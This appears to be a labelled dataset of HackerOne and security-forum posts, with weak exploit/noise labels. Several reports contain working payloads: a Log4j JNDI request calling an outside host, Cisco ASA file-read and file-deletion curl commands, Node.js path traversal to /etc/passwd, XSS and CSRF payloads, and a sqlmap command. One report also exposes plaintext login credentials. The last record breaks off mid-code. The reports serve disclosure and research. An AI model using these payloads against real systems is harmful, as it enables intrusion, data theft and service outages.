-{"id": "9df55ae4cbd0866c7181", "text": "[Uncontrolled Resource Consumption] DoS via large console messages\n\n## Summary:\nWhen server console logging is enabled, it's possible to cause a complete denial of service to the server by submitting large text (>64KB) that gets output in the console log. This causes the server to become unavailable for all users.\n\n## Steps To Reproduce:\n_I set up my environment following the steps at https://developers.mattermost.com/contribute/server/developer-setup/windows-wsl/_\n\n  1. Create a test server and team.\n2. Make sure console logging is enabled in the server settings, with debug level.\n  3. Visit the server via Burp Suite for the next step.\n 4. Go to a channel, and type some non-existing slash command like`/command` that doesn't exist, and execute it while intercepting the request in Burp Suite.\n5. You should get a POST request to `/api/v4/commands/execute` with a JSON body with a `command` value.\n6. Send the request to the Repeater in Burp Suite.\n7. _The vulnerability comes from the fact that if you type a non-existent command, it will log an error that includes the command you gave. There is no size limit on the command value in the API directly (only in the text box)._\n8. Replace the command value with `/000000000000000000000000000000000000000000000000000000000000000...`, where you use more than ~64KB of text (66,000+ characters will do nicely). _You can copy and paste, select all, and copy-paste repeatedly to generate a large text size._\n9. If you send the request with this super large payload, the server will see the command is invalid, and try to log the error message to the console. The error message contains the large payload, and **will cause the server to become unresponsive if the log message is over ~64KB** (65,535 bytes) (The size includes the rest of the error message, so the exact payload size required will be a bit less, but 66,000 bytes ensures it will always work without adding too many unnecessary characters).\n10. The server will not connect now until you restart with the `make run-server` command, and will be unavailable for all users and all teams.\n\nThis only works when CONSOLE logging is enabled (file logging doesn't seem to be affected). And for this attack vector, it is required to have DEBUG logging enabled, but it might be possible to find a vector that works via a different log type.\n\nI will say I also found another vector abusing this same issue via SQL query logging, which I will submit later depending on the status of this report. But obviously, since it requires SQL query logging to be enabled it's not as big of an issue as this one, and it has the same root cause.\n\n## Impact\n\nComplete Denial of Service to all users of a server. It would be trivial to execute a script that automatically sends the payload whenever the server is available, to make sure it continually crashes.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1551f408dae1bbadece0", "text": "I pulled out all my hair during this exercise. WIthout the specific hint to look for the string johneverist: ‘malicious request’ within the >1000 lines HTTP-response, I would have never figured out any reaction to command injection attemps. I can give one more recommendation: Look for different ways to start a sub-shell, as neither && not || worked for me!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-01-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2e4d43091b889db27930", "text": "In case someone is still looking for the answer… Since it’s asking us to test the cookie value, Command: sqlmap ‘url’ --cookie=‘id=1*’ --dump --batch", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-10-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "db44aec7671b05d4945f", "text": "About Activ Directory Mitre Attact TTPs?\n\nHi. I’m learning AD testing. Does anybody have Mitre Attack TTP codes for all Activ Directory testing methods? Thanks.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-03-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "611fa8e438da92a4b9f7", "text": "[Path Traversal] Permission model improperly protects against path traversal in Node.js 20\n\n**Summary:** A previously disclosed vulnerability (CVE-2023-30584) was patched insufficiently in commit [205f1e6](https://github.com/nodejs/node/commit/205f1e643e25648173239b2de885fec430268492). The new path traversal vulnerability arises because the implementation does not protect itself against the application overwriting built-in utility functions with user-defined implementations.\n\n**Description:** The function `possiblyTransformPath` calls `pathModule.resolve(path)`, where `pathModule` is the result of `require('path')`. Application code may replace the value of the `require('path').resolve`property with a user-defined function that does not resolve `/../` within any given path. Because `possiblyTransformPath` retrieves the value of the `pathModule.resolve` property dynamically, it will use the user-defined function instead of the built-in function and will thus fail to fully resolve the path given by the application. The vulnerability can be prevented by maintaining a reference to the original value of `pathModule.resolve` for use in `possiblyTransformPath`, assuming that the original implementation of the `resolve()` function is not subject to any such vulnerabilities itself.\n\n## Steps To Reproduce:\n\nTemporarily assigning `path.resolve = (s) => s` disables the resolution of `/../` within the permission model implementation.\n\n```console\n$ node --experimental-permission --allow-fs-read=/tmp/ -p \"path.resolve = (s) => s; fs.readFileSync('/tmp/../etc/passwd')\"\n<Buffer 72 6f 6f 74 3a 78 3a 30 3a 30 3a 72 6f 6f 74 3a 2f 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d 6f ... 3174 more bytes>\n```\n\n## Supporting Material/References:\n\n* [Original HackerOne report 2092852 of this vulnerability](https://hackerone.com/reports/2092852)\n* [HackerOne report 1952978](https://hackerone.com/reports/1952978) for the previous path traversal vulnerability (CVE-2023-30584)\n* [Vulnerable implementation of `possiblyTransformPath`](https://github.com/nodejs/node/blob/af4cdcde154be58fc47b389670efbe10da489923/lib/internal/fs/utils.js#L711-L718)\n\n## Suggested patch\n\n```patch\ndiff --git a/lib/internal/fs/utils.js b/lib/internal/fs/utils.js\nindex b7354e30e9..4971656d0a 100644\n--- a/lib/internal/fs/utils.js\n+++ b/lib/internal/fs/utils.js\n@@ -710,2 +710,3 @@ const validatePath = hideStackFrames((path, propName = 'path') => {\n // The permission model needs the absolute path for the fs_permission\n+const resolvePath = pathModule.resolve;\n function possiblyTransformPath(path) {\n@@ -713,3 +714,3 @@ function possiblyTransformPath(path) {\n     if (typeof path === 'string') {\n-      return pathModule.resolve(path);\n+      return resolvePath(path);\n     }\n```\n\nThis patch assumes that `pathModule.resolve()` itself is not susceptible to having its behavior altered in a security-critical way through user-defined properties.\n\nThis patch was merged into the main branch of Node.js as [commit 32bcf4ca](https://github.com/nodejs/node/commit/32bcf4ca27bba9d4e48418f12dc6d7c2252e71ec) and into the Node.js 20 release line as [commit cd352751](https://github.com/nodejs/node/commit/cd352751118eccab625573092bf47d9b0d84b792).\n\n## Impact\n\nThe impact is almost identical with that of CVE-2023-30584. Applications may use this vulnerability to read and write files and directories that the user has not granted access to.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2023-30584"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d1dc00e5ed4932dc8550", "text": "[Code Injection] Log4j Java RCE in [beta.dev.adobeconnect.com]\n\nHello Security Team,\n\n###Summary\nLog4j versions prior to 2.15.0 are subject to a remote code execution vulnerability via the ldap JNDI parser.\nAs per Apache's Log4j security guide: Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default.\n\n###Platform Affected: [website]\nhttps://beta.dev.adobeconnect.com\n\n###Proof of concept:\n\n* Request:\n\n```javascript\nGET /?x=${jndi:ldap://${hostName}.dq7iqbvjiufrlpt5mri9dvpb42atyi.burpcollaborator.net/a} HTTP/1.1\nHost: beta.dev.adobeconnect.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nConnection: close\nCookie: BREEZESESSION=breezdiekv3smcc2xdw3u; BreezeCCookie=conn-BZTI-9BM9-2M7O-HWCG-XCF2-KDFT-KN7O-Y78S\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: none\nSec-Fetch-User: ?1\n```\n\n* Response:\n\n{F1569913}\n\n## Impact\n\nLogging untrusted or user controlled data with a vulnerable version of Log4J may result in Remote Code Execution (RCE) against your application. This includes untrusted data included in logged errors such as exception traces, authentication failures, and other unexpected vectors of user controlled input.\n\nRegards,\nSheikh rishad", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "cf031a1549f12e441463", "text": "[Information Disclosure] Sensitive information disclosure [HtUS]\n\n## Summary:\nHi Team :)\nI found that the server status directory on your system is open, it displays server status and sensitive information by server\n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n  1. visit: https://█████████/server-status/\n\n## Supporting Material/References:\n███\n\n  * [attachment / reference]\n\n## Impact\n\nsensitive information is clearly displayed, that is, server status, attackers can find sensitive information from the server (server logs)", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4cca5f83233e6541620b", "text": "[Incorrect Authorization] Support Tickets can be created on behalf of other users using spoofed email | Bypass of #2001913\n\n**Summary:**\nHi team,\nHope you are doing well.I came across a disclosed report by hackerone (#2001913) wherein a researcher was able to create a support ticket on behalf of other users by sending fake email to support@hackerone.com. The issue was fixed by hackerone and sending email to support@hackerone.com does not create support tickets anymore.But,there is a bypass to this fix.\n**Description:**\nHackerone uses freshdesk as their third party service provider to handle support tickets .In freshdesk if a email is sent to support@domain.freshdesk.com it would create support tickets on behalf of the user.Similarly,if an email is sent to support@hackerone.freshdesk.com using a fake mailer like https://emkei.cz then a support ticket is  created by an attacker for the victim.\n\n### Steps To Reproduce\n1. Visit https://emkei.cz or any other fake mailer website.\n2. Put the victim email in from field and support@hackerone.freshdesk.com in the to field.\n3. Fill in the body with any message like account deletion and support ticket would be created in the behalf of victim and the support team will take it as legitimate request and process the request .\n\n### Mitigation:\n1.Freshdesk has a fix to the issue such that only emails sent to particular email address will only create tickets.The feature is called **Prevent Wildcard Ticket Create**.More deatils at https://support.freshdesk.com/en/support/solutions/articles/50000000652-receiving-spam-emails-to-support-domain-freshdesk-com-please-help-\n\n\n### Optional: Supporting Material/References (Screenshots)\n\n * Screenshot attached.██████\n* Check ticket **471406** created by me on a test account of mine.\n\n## Impact\n\n1.It is possible to perform sensitive action on behalf of victim .\n2.Ability to spam the support inbox thus increasing the wait time and leading to inconvenience for legitimate users.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "68152050db4bf79184ae", "text": "[HTTP Request Smuggling] CVE-2022-32214 - HTTP Request Smuggling Due To Improper Delimiting of Header Fields\n\nOriginal Report: https://hackerone.com/reports/1524692\n\n## Impact\n\nDepending on the specific web application, HRS can lead to cache poisoning, bypassing of security layers, stealing of credentials and so on.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-32214"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "28f862b8eef0b2d3955a", "text": "[Cross-Site Request Forgery (CSRF)] CSRF in AppSearch allows creation of \"curations\"\n\n## Summary\n\nHello team! The curations creation for AppSearch engines can happen on a GET request which means there's no CSRF protection.\n\n## Steps to reproduce\n\n1. In one tab  visit this page on my Elastic Cloud instance: https://h1repro.kb.eu-west-1.aws.found.io:9243/app/enterprise_search/app_search/engines/national-parks-demo/curations (choose \"Login with Elasticsearch\", username `h1repro` / password `&Xb|MzZeB@<\\`)\n1. For a simple demonstration, in another tab you can simply visit `https://h1repro.kb.eu-west-1.aws.found.io:9243/internal/app_search/engines/national-parks-demo/curations/find_or_create?query=QUERY_YOU_WANT_TO_CREATE_HERE`\n\nIf you want a \"real\" CSRF PoC you can simply host an HTML file with the following content. Obviously a real attack wouldn't let you choose your payload and submit and this would be done automatically :)\n\n```html\n<html>\n\t<head></head>\n\t<body>\n\t\t<form action=\"https://h1repro.kb.eu-west-1.aws.found.io:9243/internal/app_search/engines/national-parks-demo/curations/find_or_create\" method=\"get\">\n\t\t\t<label for=\"query\">Enter the curation you want to create: </label>\n\t\t\t<input type=\"text\" name=\"query\" id=\"query\" required>\n\t\t\t<input type=\"submit\">\n\t\t</form>\n\t</body>\n</html>\n```\n\n## Impact\n\nCreation of undesired \"curations\". Annoying attacks would either create a large quantity of them or it would create queries with foul language.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-17", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ea97b9f3995e840eaa9a", "text": "Thanks. I will look that. If you find list of AD Mitre TTP, please write here!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-04-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4043f3e23997d88e4517", "text": "[Cross-site Scripting (XSS) - Reflected] Incorrect handling of certain characters passed to the redirection functionality in Rails can lead to a single-click XSS vulnerability.\n\n### Overview\nIncorrect handling of certain characters passed to the redirection functionality in Rails can lead to a single-click XSS vulnerability across web applications. This has been tested on the latest version of Rails as of today (7.0.4.3).\n\n### Description\nDownstream parsing of values sent to the redirect_to function will cause the 'location' header to be removed from the response when certain characters are used in the URL. For example, if the `\\b` (%08) (backspace) character is used in the URL.\n\nWhen the location header is missing from the response, it is possible to control the `href` attribute in the HTML response that would normally be briefly shown prior to the redirect, therefore by using a javascript URI, it is possible to prevent the redirect and serve an XSS payload.\n\nDuring the assessment, the `%01-%08, %0b, %0c, %0e-%1f` characters were found to be vulnerable, however there may be others.\n\nWe believe this may be attributed to the rack linters attempting to conform to rfc7230 (https://github.com/rack/rack/blob/f5666bc8cb13b8d731ea0222fbd3ada670f2cd55/lib/rack/lint.rb#L671)\n\n### Proof of Concept\nA simple instance is as follows:\n\n`app/controllers/application_controller.rb`\n```ruby\nclass ApplicationController < ActionController::Base\n  def vuln\n    redirect_to params[:redirect_url], allow_other_host: true\n  end\nend\n```\n\n`config/routes.rb`\n```ruby\nRails.application.routes.draw do\n  get \"/vuln\" => \"application#vuln\"\nend\n```\n\nAnd then when we retrieve: `http://localhost:3000/vuln?redirect_url=javascript:alert()%08`\n\nThe response will be as follows:\n```\nHTTP/1.1 302 Found\nCache-Control: no-store\nDate: Thu, 06 Apr 2023 05:16:21 GMT\nConnection: close\nContent-Length: 100\n\n<html><body>You are being <a href=\"javascript:alert(document.cookie) \">redirected</a>.</body></html>\n```\n\nAs the page does not redirect, if the user clicks on the link (expecting the redirect for example), the payload will be triggered:\n{F2303758}\n\n## Impact\n\nUser controlled values being sent to the `redirect_to` function may cause an unwanted XSS vulnerability. This was discovered in the wild and proven to be a legitimate security concern.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c5006b0db4f277240efd", "text": "[Cross-site Scripting (XSS) - Reflected] XSS in ServiceNow logout https://████:443\n\n**Description:**\nXSS in ServiceNow logout \nhttps://██████:443/logout_redirect.do?sysparm_url=//j%5c%5cjavascript%3aalert(document.domain)\n## References\nhttps://nvd.nist.gov/vuln/detail/CVE-2022-38463\n\n## Impact\n\nUnauthenticated remote attacker can execute code in user's browser context.  User must click on malicious link\n\n## System Host(s)\n███████\n\n## Affected Product(s) and Version(s)\nServicenow prior to SanDiego SP6\n\n## CVE Numbers\nCVE-2022-38463\n\n## Steps to Reproduce\nClick on https://█████:443/logout_redirect.do?sysparm_url=//j%5c%5cjavascript%3aalert(document.domain)\n\n## Suggested Mitigation/Remediation Actions\nUpgrade to patched version of ServiceNow", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-38463"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "32fc4f2fb4928bca06c0", "text": "[Authentication Bypass by Primary Weakness] CVE-2023-27538: SSH connection too eager reuse still\n\n## Summary:\nThere's a check if SSH keys match between new and existing connection when considering reuse. This check is broken due to wrong comparison:\n`#define PROTO_FAMILY_SSH  (CURLPROTO_SCP|CURLPROTO_SFTP)`\n...\n`else if(get_protocol_family(needle->handler) == PROTO_FAMILY_SSH) {`\nThis never matches as handler family is either `CURLPROTO_SCP` or `CURLPROTO_SFTP`.\n\n## Remediation\n\n* Make the code:\n`else if(get_protocol_family(needle->handler) & PROTO_FAMILY_SSH) {`\n\n## Steps To Reproduce:\n\n  1. Make two connections to the same host with different ssh keys\n\n## Impact\n\nConnection reuse when different ssh keys are used.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-27538"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "dbcbf126da70963c52d1", "text": "[Uncontrolled Resource Consumption] Deny of service via malicious Content-Type\n\n## Summary:\n\nI found a way to crash a fastify@4.6.0  server with a single query on a minimal setup. \n\n\nThe function `ContentTypeParser.getParser()` do not check properly if the requested content-type parser exists.\n\n/lib/contentTypeParser.js:94\n```javascript\nContentTypeParser.prototype.getParser = function (contentType) {\n  if (contentType in this.customParsers) {\n    return this.customParsers[contentType]\n  }\n\n...\n```\n\nIf an attacker send `constructor` or any default Object attribute, the function will return something unexpected instead of a parser, here the function returns `[Function: Object]`.\n\nThen the `parser.fn` function is called.\n/lib/contentTypeParser.js:94\n```javascript\n    const result = parser.fn(request, request[kRequestPayloadStream], done)\n```\n\nBecause `parser.fn` is undefined, the application crashes.\n\n\n\n\n## Steps To Reproduce:\n\nI used the code provided in the [documentation](https://www.fastify.io/docs/latest/Guides/Getting-Started/)\n\n\nindex.js\n```javascript\nconst fastify = require('fastify')({\n  logger: true\n})\n\n// Declare a route\nfastify.get('/', function (request, reply) {\n  reply.send({ hello: 'world' })\n})\n\n// Run the server!\nfastify.listen({ port: 3000 }, function (err, address) {\n  if (err) {\n    fastify.log.error(err)\n    process.exit(1)\n  }\n  // Server is now listening on ${address}\n})\n```\n\nStart the server:\n\n```\n> node index.js\n{\"level\":30,\"time\":1664375818521,\"pid\":8587,\"hostname\":\"localhost\",\"msg\":\"Server listening at http://127.0.0.1:3000\"}\n\n```\n\nWhen the server is ready, send the following POST  request\n\n```\n> curl -X POST http://127.0.0.1:3000 -H 'Content-Type: constructor'\ncurl: (52) Empty reply from server\n```\n\nThe server had crashed with \n\n```\nTypeError: parser.fn is not a function\n```\n\n## Impact\n\nA malicious actor can crash any fastify server as long as they are able to send a `Content-type` header.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "356df8457cc39a542ae8", "text": "[Unknown] Self XSS in attachments name\n\nHello Gents,\n> + While testing `account.acronis.com` I found that I could inject XSS payload in attachments name at  **\"Support requests\"** .\n\n### Steps to Reproduce:\n1. Please Login at `account.acronis.com`.\n2. From support request, support a new case.\n3. Expand Case ID,  Leave a comment for support professional, upload a file: `\"><img src=\"x\" onerror=\"alert(document.domain)\">.png`.\n\n\n### Proof of Concept:\n{F1687467}\n\n## Impact\n\nXSS", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-31", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "227e56f57b5b59e4b489", "text": "[Path Traversal] CVE-2020-3187 - Unauthenticated Arbitrary File Deletion\n\nA vulnerability in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct directory traversal attacks and obtain read and delete access to sensitive files on a targeted system. The vulnerability is due to a lack of proper input validation of the HTTP URL. An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences.\n\nThe IP has a SSL certificate pointing to ████████\ncurl -kv https://███\n\noutput:\n```\nServer certificate:\n████\n```\n\n## Impact\n\nAn exploit could allow the attacker to view or delete arbitrary files on the targeted system. When the device is reloaded after exploitation of this vulnerability, any files that were deleted are restored. The attacker can only view and delete files within the web services file system. This file system is enabled when the affected device is configured with either WebVPN or AnyConnect features. This vulnerability can not be used to obtain access to ASA or FTD system files or underlying operating system (OS) files. Reloading the affected device will restore all files within the web services file system.\n\n## System Host(s)\n███████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2020-3187\n\n## Steps to Reproduce\n1.First I performed a curl request to validate that /session_password.html gave a 200 response.\ncurl -k -s -i https://████+CSCOE+/session_password.html\n2.Example to delete logo file \"/+CSCOU+/csco_logo.gif\".\ncurl -k -H \"Cookie: token=../+CSCOU+/csco_logo.gif\" https://█████████+CSCOE+/session_password.html\n\n_NOTE: No destructive behavior was performed on target, the above command will remove csco_logo.gif and can be restored on reboot of the device_\n\n## Suggested Mitigation/Remediation Actions\nhttps://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-path-JE3azWw43", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2020-3187"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f7a21069d89491ddc286", "text": "[Path Traversal] [CVE-2020-3452] Unauthenticated file read in Cisco ASA\n\ni found out that https://█████████/ was vulnerable to CVE-2020-3452\n\nThe IP has a SSL certificate pointing to █████████\ncurl -kv https://██████████/ \n\nOutput\n```\nServer certificate:\n*  subject: C=US; ████.mil\n```\n\n## Impact\n\nAnyone can read any file present on the server.\n\n## System Host(s)\n███\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2020-3452\n\n## Steps to Reproduce\nYou can test it by visiting the URL:\n1. https://██████████/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua\n2. https://███████/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../\n\n## Suggested Mitigation/Remediation Actions\nhttps://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2020-3452"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "df20167282757768db80", "text": "[Business Logic Errors] adding h1_analyst_* to username for normal users\n\n### I managed to add h1_analyst_refo to my user name which should not be for normal users only for h1 triggers\n\n## Impact\n\nmaybe tricking users I think this is low bug please review it", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4f0783821b8ef58d4c1c", "text": "[Insecure Storage of Sensitive Information] Mozilla Mastodon Staging Instance Admin API Key Disclosure Through Slack\n\n## Summary:\n\nI was able to find Admin Maston API Keys disclosed within Mozilla's #trust-and-safety-eng channel which was posted by a staff member of Mozilla.\n\n## Steps To Reproduce:\n\n  1. Authenticate to mozilla.slack.com as an NDA or Mozillla Staff Member (https://wiki.mozilla.org/NDA)\n  2. Search the #trust-and-safety-eng channel for █████████  (Exposed token)\n  3. Validate that the token through the following command:\n\ntok=███\nep=https://stage.moztodon.nonprod.webservices.mozgcp.net\ncurl -H \"Authorization: Bearer $tok\" \"$ep/api/v1/admin/accounts/\" \n\n4. Observe the following output (I've redacted some as it shows the output of all Mastodon accounts):\n\n████████\n\n5. Please note that this was only one API call demonstrated. Maston has the ability to create new accounts, change passwords. delete accounts and delete tweets as referenced within their API documentation here with the  Admin API tokens -  https://docs.joinmastodon.org/methods/accounts/\n\n## Supporting Material/References:\n\nPlease find attached the conversation where the API token was accidentaly leaked.\n\n██████████\n\n## Impact\n\n## Summary:\n\nThe exposure of Admin Mastodon API tokens represents a critical security vulnerability with the potential for severe consequences. These tokens grant unauthorized individuals comprehensive access to the Mastodon server, allowing them to manipulate user data, spread malicious content, and compromise the integrity of the platform. Immediate action is required to mitigate this risk and protect both the system and its users.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f2bf9df10a69c296568c", "text": "[Open Redirect] Bypass for Domain-level redirects (Unvalidated Redirects and Forwar)\n\n### Summary\n\n{F1745460}\n\nWhile testing for the ability to define custom redirects in Gitlab Pages,\nI discovered I was able to define `Domain-level redirects` which are explicitly disabled in the documentation.\nAt a first glance, the validation step seems to disable any link not starting with `/`,\nIt has however to be noted that distinct domain redirects can be defined even with starting slash/backslash.\nFor example, all these three examples will redirect to another domain:\n\n- `//anotherdomain.com/...`\n- `/\\anotherdomain.com/...`\n- `\\\\anotherdomain.com\\...`\n\nAll these previous domains are equivalent to writing `https?://anotherdomain.com/...`\n\nAn attacker may define vanity URLs hosted on GitLab targeting phishing websites.\n\n### Steps to reproduce\n\nIn order to reproduce this vulnerability follow these steps:\n\n1. Generate a new pages project (eg. anyone from https://gitlab.com/pages ).\n      You can create a new project forking https://gitlab.com/pages/jekyll\n2. Enable CI/CD pipeline\n3. Enable pages support in Settings\n4. Add a `_redirects` file and include that file in the output through the `_config.yml` include directive\n5. Add a redirect such as `/jekyll-test/test3.html /\\desktop.pompel.me\\test2.html 301```\n6. Wait for the CI to complete the deploy\n7. Navigate to the defined redirect\n8. Verify that the redirect is reaching an external website\n\n### Impact\n\nAn attacker may define vanity URLs hosted on GitLab targeting phishing websites.\n\n### Examples\n\nhttps://gitlab.com/miwaxe/jekyll-test/-/blob/master/_redirects\n\n```\n/jekyll-test/antani1.html /projectname/antani2.html 302\n/jekyll-test/test1.html \\\\projectname\\@desktop.pompel.me/test2.html 302\n/jekyll-test/test3.html /\\desktop.pompel.me\\test2.html 301\n```\n\n### What is the current *bug* behavior?\n\nCheck the attached demo video {F1745467}\n\n### What is the expected *correct* behavior?\n\nThe redirects should not happen to external domains. \nThis is pointed out in the documentation https://docs.gitlab.com/ee/user/project/pages/redirects.html and is explicitly forbidden.\n\n### Relevant logs and/or screenshots\n\nCheck the attached screenshot {F1745460}\n\n## Impact\n\nAn attacker may define vanity URLs hosted on GitLab targeting phishing websites.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6b0b5cfc86420d785891", "text": "[Command Injection - Generic] Remote Command Execution via Github import\n\n### Summary\n\nThis is very similar to https://about.gitlab.com/releases/2022/08/22/critical-security-release-gitlab-15-3-1-released/#Remote%20Command%20Execution%20via%20Github%20import and allows arbitrary redis commands to be injected when imported a GitHub repository.\n\nWhen importing a GitHub repo the api client uses `Sawyer` for handling the responses. This takes a json hash and converts it into a ruby class that has methods matching all of the keys:\n\nhttps://github.com/lostisland/sawyer/blob/v0.9.2/lib/sawyer/resource.rb#L106-L110\n```ruby\n    def self.attr_accessor(*attrs)\n      attrs.each do |attribute|\n        class_eval do\n          define_method attribute do\n            @attrs[attribute.to_sym]\n          end\n\n          define_method \"#{attribute}=\" do |value|\n            @attrs[attribute.to_sym] = value\n          end\n\n          define_method \"#{attribute}?\" do\n            !!@attrs[attribute.to_sym]\n          end\n        end\n      end\n    end\n```\n\nThis happens recursively, and allows for any method to be overridden including built-in methods such as `to_s`.\n\nThe redis gem uses `to_s` and `bytesize` to generate the RESP command, so if a `Sawyer::Resource` is ever passed in that has a controllable hash it can allow arbitrary redis commands to be injected into the stream as the string will be shorter than the `$` size provided (see https://redis.io/docs/reference/protocol-spec/)\n\nhttps://github.com/redis/redis-rb/blob/v4.4.0/lib/redis/connection/command_helper.rb#L20\n```ruby\n            i = i.to_s\n            command << \"$#{i.bytesize}\"\n            command << i\n```\n\nThe patch for CVE-2022-2884 added validation to `Gitlab::Cache::Import::Caching` but there is another spot where the  `Sawyer::Resource` is passed to redis:\n\nhttps://gitlab.com/gitlab-org/gitlab/-/blob/v15.3.1-ee/lib/gitlab/github_import/importer/repository_importer.rb#L55\n```ruby\n       def import_repository\n          project.ensure_repository\n\n          refmap = Gitlab::GithubImport.refmap\n          project.repository.fetch_as_mirror(project.import_url, refmap: refmap, forced: true)\n\n          project.change_head(default_branch) if default_branch\n\n          # The initial fetch can bring in lots of loose refs and objects.\n          # Running a `git gc` will make importing pull requests faster.\n          Repositories::HousekeepingService.new(project, :gc).execute\n\n          true\n        end\n```\n\nThe `default_branch` param comes from the client repository (which is a nested Sawyer::Resource of attacker controlled data), and is passed to `change_head`  which then calls `branch_exists?`  and `branch_names_include?` which passes the value to redis:\n\nhttps://gitlab.com/gitlab-org/gitlab/-/blob/v15.3.1-ee/lib/gitlab/repository_cache_adapter.rb#L71\n```ruby\n        define_method(\"#{name}_include?\") do |value|\n          ivar = \"@#{name}_include\"\n          memoized = instance_variable_get(ivar) || {}\n          lookup = proc { __send__(name).include?(value) } # rubocop:disable GitlabSecurity/PublicSend\n\n          next memoized[value] if memoized.key?(value)\n\n          memoized[value] =\n            if strong_memoized?(name)\n              lookup.call\n            else\n              result, exists = redis_set_cache.try_include?(name, value)\n\n 